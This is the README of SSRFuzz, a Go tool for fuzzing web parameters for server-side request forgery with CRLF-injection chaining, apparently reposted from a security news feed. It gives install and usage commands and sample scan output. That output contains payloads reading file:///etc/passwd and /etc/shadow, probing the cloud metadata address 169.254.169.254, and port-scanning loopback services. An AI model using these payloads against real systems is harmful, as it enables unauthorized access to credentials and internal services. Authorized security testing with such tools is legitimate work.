SSRFuzz - A Tool To Find Server Side Request Forgery Vulnerabilities, With CRLF Chaining Capabilities

SSRFuzz is a tool to find Server Side Request Forgery vulnerabilities, with CRLF chaining capabilities

Why?

I wanted to write a tool in Golang for concurrency
I wanted to fuzz parameters for SSRF vulnerablities, as well as fuzz both paths and parameters for CRLF injections
I was inspired by Orange's work for chaining these types of vulnerabilities together (https://blog.orange.tw)

Installation

Run the following command to intsall

go get -u github.com/ryandamour/ssrfuzz

Usage


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 ===============================================================SSRFUZZ 1.2by Ryan D'Amour @ryandamour ===============================================================A scanner for all your SSRF Fuzzing needsUsage:  ssrfuzz scan [flags]Flags:  -b, --call-back string       Add callback for SSRF fuzzing (ie: https://github.com/ropnop/serverless_toolkit/tree/master/ssrf_slack)  -c, --cookie string          Cookie to use for requests      --crlf-path              Add CRLF payloads to all available paths (ie: site.com/%0Atest.php)      --delay int              The time each threads waits between requests in milliseconds (default 100)  -d, --domains string         Location of domains with parameters to scan  -h, --help                   help for scan  -x, --http-method string     HTTP Method - GET or POST (default "GET")  -o, --output string          Location to save results      --skip-crlf              Skip CRLF fuzzing      --skip-network           Skip network fuzzing      --skip-scheme            Skip scheme fuzzing  -s, --slack-webhook string      Slack webhook to send findings to a channel  -t, --threads int            Number of threads to run ssrfuzz on (default 50)      --timeout int            The amount of time needed to close a connection that could be hung (default 10)  -u, --user-agent string      User agent for requests (default "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")  -v, --verbose                verbose output

Usage: echo "http://url_to_fuzz" | ssrfuzz scancat file_of_domains.txt | ssrfuzz scanssrfuzz scan -d file_of_domains.txt

* Scanning http and scheme payloads w/ crlf:echo "http://192.168.1.10/test.php?u=" | go run main.go scan [!] Scheme payload match:* http://192.168.1.10/test.php?u=file://etc/passwd 200[!] Interesting payloads found* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500* http://192.168.1.10test.php?u=http://127.1.0.0:22 500* http://192.168.1.10/test.ph?u=http://127.1.0.0:25 500* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500[!] Interesting payloads found* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23   %OA 200* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500

* Scanning only http payloads w/ crlf:echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme[!] Interesting payloads found* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500* htt   p://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500

* Scanning only http payloads w/o crlf:echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme --skip-crlf[!] Interesting payloads found* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500* http://192.168.1.10/test.php?u=http://127.1.0.0:22 500* http://192.168.1.10/test.php?u=http://127.1.0.0:25 500* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500

* Scanning only scheme payloads w/o crlf:echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-network --skip-crlf[!] Interesting payloads found* http://192.168.1.10/test.php?u=file:///etc/passwd 200* http://192.168.1.10/test.php?u=file:///etc/shadow 500* http://192.168.1.10/test.php?u=file://169.254.169.254/ 500

Contributing

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

Please make sure to update tests as appropriate.

Download Ssrfuzz

Source: feedproxy.google.com